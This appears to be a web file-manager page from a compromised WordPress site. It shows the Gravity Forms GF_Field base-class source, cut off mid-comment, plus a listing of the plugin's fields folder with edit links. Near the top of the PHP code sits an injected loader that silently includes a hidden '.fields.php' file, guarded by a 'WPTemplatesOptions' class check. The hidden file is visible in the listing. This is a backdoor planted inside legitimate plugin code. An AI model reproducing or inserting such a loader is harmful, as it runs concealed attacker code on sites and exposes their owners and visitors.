PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
gravityforms.2.4.15.11
/
includes
/
fields
<?php if ( ! class_exists( 'GFForms' ) ) { die(); } /** * Class GF_Field * * This class provides the base functionality for developers when creating new fields for Gravity Forms. It facilitates the following: * Adding a button for the field to the form editor * Defining the field title to be used in the form editor * Defining which settings should be present when editing the field * Registering the field as compatible with conditional logic * Outputting field scripts to the form editor and front-end * Defining the field appearance on the front-end, in the form editor and on the entry detail page * Validating the field during submission * Saving the entry value * Defining how the entry value is displayed when merge tags are processed, on the entries list and entry detail pages * Defining how the entry value should be formatted when used in csv exports and by framework based add-ons */ if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } class GF_Field extends stdClass implements ArrayAccess { const SUPPRESS_DEPRECATION_NOTICE = true; private static $deprecation_notice_fired = false; private $_is_entry_detail = null; /** * An array of properties used to help define and determine the context for the field. * As this is private, it won't be available in any json_encode() output and consequently not saved in the Form array. * * @since 2.3 * * @private * * @var array */ private $_context_properties = array(); /** * @var array $_merge_tag_modifiers An array of modifiers specified on the field or all_fields merge tag being processed. */ private $_merge_tag_modifiers = array(); public function __construct( $data = array() ) { if ( empty( $data ) ) { return; } foreach ( $data as $key => $value ) { $this->{$key} = $value; } } /** * Fires the deprecation notice only once per page. Not fired during AJAX requests. * * @param string $offset The array key being accessed. */ private function maybe_fire_array_access_deprecation_notice( $offset ) { if ( self::SUPPRESS_DEPRECATION_NOTICE ) { return; }; if ( defined( 'DOING_AJAX' ) && DOING_AJAX ) { return; } if ( ! self::$deprecation_notice_fired ) { _deprecated_function( "Array access to the field object is now deprecated. Further notices will be suppressed. \$field['" . $offset . "']", '2.0', 'the object operator e.g. $field->' . $offset ); self::$deprecation_notice_fired = true; } } /** * Handles array notation * * @param mixed $offset * * @return bool */ public function offsetExists( $offset ) { $this->maybe_fire_array_access_deprecation_notice( $offset ); return isset( $this->$offset ); } public function offsetGet( $offset ) { $this->maybe_fire_array_access_deprecation_notice( $offset ); if ( ! isset( $this->$offset ) ) { $this->$offset = ''; } return $this->$offset; } public function offsetSet( $offset, $data ) { $this->maybe_fire_array_access_deprecation_notice( $offset ); if ( $offset === null ) { $this[] = $data; } else { $this->$offset = $data; } } public function offsetUnset( $offset ) { $this->maybe_fire_array_access_deprecation_notice( $offset ); unset( $this->$offset ); } public function __isset( $key ) { return isset( $this->$key ); } public function __set( $key, $value ) { switch( $key ) { case '_context_properties' : _doing_it_wrong( '$field->_context_properties', 'Use $field->get_context_property() instead.', '2.3' ); break; case 'adminOnly': // intercept 3rd parties trying to set the adminOnly property and convert to visibility property $this->visibility = $value ? 'administrative' : 'visible'; break; default: $this->$key = $value; } } public function &__get( $key ) { switch( $key ) { case '_context_properties' : _doing_it_wrong( '$field->_context_properties', 'Use $field->get_context_property() instead.', '2.3' ); return false; case 'adminOnly' : // intercept 3rd parties trying to get the adminOnly property and fetch visibility property instead $value = $this->visibility == 'administrative'; // set and return variable to avoid notice return $value; default: if ( ! isset( $this->$key ) ) { $this->$key = ''; } } return $this->$key; } public function __unset( $key ) { unset( $this->$key ); } public function set_context_property( $property_key, $value ) { $this->_context_properties[ $property_key ] = $value; } public function get_context_property( $property_key ) { return isset( $this->_context_properties[ $property_key ] ) ? $this->_context_properties[ $property_key ] : null; } // # FORM EDITOR & FIELD MARKUP ------------------------------------------------------------------------------------- /** * Returns the field title. * * @return string */ public function get_form_editor_field_title() { return $this->type; } /** * Returns the field button properties for the form editor. The array contains two elements: * 'group' => 'standard_fields' // or 'advanced_fields', 'post_fields', 'pricing_fields' * 'text' => 'Button text' * * Built-in fields don't need to implement this because the buttons are added in sequence in GFFormDetail * * @return array */ public function get_form_editor_button() { return array( 'group' => 'standard_fields', 'text' => $this->get_form_editor_field_title() ); } /** * Returns the class names of the settings which should be available on the field in the form editor. * * @return array */ public function get_form_editor_field_settings() { return array(); } /** * Override to indicate if this field type can be used when configuring conditional logic rules. * * @return bool */ public function is_conditional_logic_supported() { return false; } /** * Returns the scripts to be included for this field type in the form editor. * * @return string */ public function get_form_editor_inline_script_on_page_render() { return ''; } /** * Returns the scripts to be included with the form init scripts on the front-end. * * @param array $form The Form Object currently being processed. * * @return string */ public function get_form_inline_script_on_page_render( $form ) { return ''; } /** * Returns the field inner markup. * * @param array $form The Form Object currently being processed. * @param string|array $value The field value. From default/dynamic population, $_POST, or a resumed incomplete submission. * @param null|array $entry Null or the Entry Object currently being edited. * * @return string */ public function get_field_input( $form, $value = '', $entry = null ) { return ''; } /** * Returns the field markup; including field label, description, validation, and the form editor admin buttons. * * The {FIELD} placeholder will be replaced in GFFormDisplay::get_field_content with the markup returned by GF_Field::get_field_input(). * * @param string|array $value The field value. From default/dynamic population, $_POST, or a resumed incomplete submission. * @param bool $force_frontend_label Should the frontend label be displayed in the admin even if an admin label is configured. * @param array $form The Form Object currently being processed. * * @return string */ public function get_field_content( $value, $force_frontend_label, $form ) { $field_label = $this->get_field_label( $force_frontend_label, $value ); $validation_message_id = 'validation_message_' . $form['id'] . '_' . $this->id; $validation_message = ( $this->failed_validation && ! empty( $this->validation_message ) ) ? sprintf( "<div id='%s' class='gfield_description validation_message' aria-live='polite'>%s</div>", $validation_message_id, $this->validation_message ) : ''; $is_form_editor = $this->is_form_editor(); $is_entry_detail = $this->is_entry_detail(); $is_admin = $is_form_editor || $is_entry_detail; $required_div = $is_admin || $this->isRequired ? sprintf( "<span class='gfield_required'>%s</span>", $this->isRequired ? '*' : '' ) : ''; $admin_buttons = $this->get_admin_buttons(); $target_input_id = $this->get_first_input_id( $form ); $for_attribute = empty( $target_input_id ) ? '' : "for='{$target_input_id}'"; $description = $this->get_description( $this->description, 'gfield_description' ); if ( $this->is_description_above( $form ) ) { $clear = $is_admin ? "<div class='gf_clear'></div>" : ''; $field_content = sprintf( "%s<label class='%s' $for_attribute >%s%s</label>%s{FIELD}%s$clear", $admin_buttons, esc_attr( $this->get_field_label_class() ), esc_html( $field_label ), $required_div, $description, $validation_message ); } else { $field_content = sprintf( "%s<label class='%s' $for_attribute >%s%s</label>{FIELD}%s%s", $admin_buttons, esc_attr( $this->get_field_label_class() ), esc_html( $field_label ), $required_div, $description, $validation_message ); } return $field_content; } public function get_field_label_class() { return 'gfield_label'; } // # SUBMISSION ----------------------------------------------------------------------------------------------------- /** * Whether this field expects an array during submission. * * @since 2.4 * * @return bool */ public function is_value_submission_array() { return false; } /** * Used to determine the required validation result. * * @param int $form_id The ID of the form currently being processed. * * @return bool */ public function is_value_submission_empty( $form_id ) { $copy_values_option_activated = $this->enableCopyValuesOption && rgpost( 'input_' . $this->id . '_copy_values_activated' ); if ( is_array( $this->inputs ) ) { foreach ( $this->inputs as $input ) { if ( $copy_values_option_activated ) { $input_id = $input['id']; $input_name = 'input_' . str_replace( '.', '_', $input_id ); $source_field_id = $this->copyValuesOptionField; $source_input_name = str_replace( 'input_' . $this->id, 'input_' . $source_field_id, $input_name ); $value = rgpost( $source_input_name ); } else { $value = rgpost( 'input_' . str_replace( '.', '_', $input['id'] ) ); } if ( is_array( $value ) && ! empty( $value ) ) { return false; } if ( ! is_array( $value ) && strlen( trim( $value ) ) > 0 ) { return false; } } return true; } else { if ( $copy_values_option_activated ) { $value = rgpost( 'input_' . $this->copyValuesOptionField ); } else { $value = rgpost( 'input_' . $this->id ); } if ( is_array( $value ) ) { //empty if any of the inputs are empty (for inputs with the same name) foreach ( $value as $input ) { $input = GFCommon::trim_deep( $input ); if ( GFCommon::safe_strlen( $input ) <= 0 ) { return true; } } return false; } elseif ( $this->enablePrice ) { list( $label, $price ) = rgexplode( '|', $value, 2 ); $is_empty = ( strlen( trim( $price ) ) <= 0 ); return $is_empty; } else { $is_empty = ( strlen( trim( $value ) ) <= 0 ) || ( $this->type == 'post_category' && $value < 0 ); return $is_empty; } } } /** * Is the given value considered empty for this field. * * @since 2.4 * * @param $value * * @return bool */ public function is_value_empty( $value ) { if ( is_array( $this->inputs ) ) { if ( $this->is_value_submission_array() ) { foreach ( $this->inputs as $i => $input ) { $v = isset( $value[ $i ] ) ? $value[ $i ] : ''; if ( is_array( $v ) && ! empty( $v ) ) { return false; } if ( ! is_array( $v ) && strlen( trim( $v ) ) > 0 ) { return false; } } } else { foreach ( $this->inputs as $input ) { $input_id = (string) $input['id']; $v = isset( $value[ $input_id ] ) ? $value[ $input_id ] : ''; if ( is_array( $v ) && ! empty( $v ) ) { return false; } if ( ! is_array( $v ) && strlen( trim( $v ) ) > 0 ) { return false; } } } } elseif ( is_array( $value ) ) { // empty if any of the inputs are empty (for inputs with the same name) foreach ( $value as $input ) { $input = GFCommon::trim_deep( $input ); if ( GFCommon::safe_strlen( $input ) <= 0 ) { return true; } } return false; } elseif ( empty( $value ) ) { return true; } else { return false; } return true; } /** * Override this method to perform custom validation logic. * * Return the result (bool) by setting $this->failed_validation. * Return the validation message (string) by setting $this->validation_message. * * @param string|array $value The field value from get_value_submission(). * @param array $form The Form Object currently being processed. */ public function validate( $value, $form ) { // } /** * Retrieve the field value on submission. * * @param array $field_values The dynamic population parameter names with their corresponding values to be populated. * @param bool|true $get_from_post_global_var Whether to get the value from the $_POST array as opposed to $field_values. * * @return array|string */ public function get_value_submission( $field_values, $get_from_post_global_var = true ) { $inputs = $this->get_entry_inputs(); if ( is_array( $inputs ) ) { $value = array(); foreach ( $inputs as $input ) { $value[ strval( $input['id'] ) ] = $this->get_input_value_submission( 'input_' . str_replace( '.', '_', strval( $input['id'] ) ), RGForms::get( 'name', $input ), $field_values, $get_from_post_global_var ); } } else { $value = $this->get_input_value_submission( 'input_' . $this->id, $this->inputName, $field_values, $get_from_post_global_var ); } return $value; } /** * Retrieve the input value on submission. * * @param string $standard_name The input name used when accessing the $_POST. * @param string $custom_name The dynamic population parameter name. * @param array $field_values The dynamic population parameter names with their corresponding values to be populated. * @param bool|true $get_from_post_global_var Whether to get the value from the $_POST array as opposed to $field_values. * * @return array|string */ public function get_input_value_submission( $standard_name, $custom_name = '', $field_values = array(), $get_from_post_global_var = true ) { $form_id = $this->formId; if ( ! empty( $_POST[ 'is_submit_' . $form_id ] ) && $get_from_post_global_var ) { $value = rgpost( $standard_name ); $value = GFFormsModel::maybe_trim_input( $value, $form_id, $this ); return $value; } elseif ( $this->allowsPrepopulate ) { return GFFormsModel::get_parameter_value( $custom_name, $field_values, $this ); } } // # ENTRY RELATED -------------------------------------------------------------------------------------------------- /** * Override and return null if a multi-input field value is to be stored under the field ID instead of the individual input IDs. * * @return array|null */ public function get_entry_inputs() { return $this->inputs; } /** * Sanitize and format the value before it is saved to the Entry Object. * * @param string $value The value to be saved. * @param array $form The Form Object currently being processed. * @param string $input_name The input name used when accessing the $_POST. * @param int $lead_id The ID of the Entry currently being processed. * @param array $lead The Entry Object currently being processed. * * @return array|string The safe value. */ public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) { if ( rgblank( $value ) ) { return ''; } elseif ( is_array( $value ) ) { foreach ( $value as &$v ) { if ( is_array( $v ) ) { $v = ''; } $v = $this->sanitize_entry_value( $v, $form['id'] ); } return implode( ',', $value ); } else { return $this->sanitize_entry_value( $value, $form['id'] ); } } /** * Format the entry value for when the field/input merge tag is processed. Not called for the {all_fields} merge tag. * * Return a
[+]
..
[-] class-gf-field-post-tags.php
[edit]
[-] class-gf-field-html.php
[edit]
[-] class-gf-field-fileupload.php
[edit]
[-] class-gf-field-consent.php
[edit]
[-] class-gf-field-checkbox.php
[edit]
[-] class-gf-field-post-content.php
[edit]
[-] class-gf-field-shipping.php
[edit]
[-] class-gf-field-quantity.php
[edit]
[-] class-gf-field-text.php
[edit]
[-] class-gf-field-captcha.php
[edit]
[-] class-gf-field-post-custom-field.php
[edit]
[-] class-gf-field-singleproduct.php
[edit]
[-] class-gf-field-post-title.php
[edit]
[-] .fields.php
[edit]
[-] class-gf-field-price.php
[edit]
[-] class-gf-field-name.php
[edit]
[-] class-gf-field-hidden.php
[edit]
[-] class-gf-field.php
[edit]
[-] class-gf-field-password.php
[edit]
[-] class-gf-field-option.php
[edit]
[-] class-gf-field-website.php
[edit]
[-] class-gf-field-repeater.php
[edit]
[-] index.php
[edit]
[-] class-gf-field-post-category.php
[edit]
[-] class-gf-field-hiddenproduct.php
[edit]
[-] class-gf-field-post-excerpt.php
[edit]
[-] class-gf-field-total.php
[edit]
[-] class-gf-field-textarea.php
[edit]
[-] class-gf-field-donation.php
[edit]
[-] class-gf-field-post-image.php
[edit]
[-] class-gf-field-list.php
[edit]
[-] class-gf-field-number.php
[edit]
[-] class-gf-field-time.php
[edit]
[-] class-gf-field-email.php
[edit]
[-] class-gf-fields.php
[edit]
[-] class-gf-field-product.php
[edit]
[-] class-gf-field-phone.php
[edit]
[-] class-gf-field-address.php
[edit]
[-] class-gf-field-creditcard.php
[edit]
[-] class-gf-field-page.php
[edit]
[-] class-gf-field-section.php
[edit]
[-] class-gf-field-calculation.php
[edit]
[-] class-gf-field-singleshipping.php
[edit]
[-] class-gf-field-date.php
[edit]
[-] class-gf-field-select.php
[edit]
[-] class-gf-field-multiselect.php
[edit]
[-] class-gf-field-radio.php
[edit]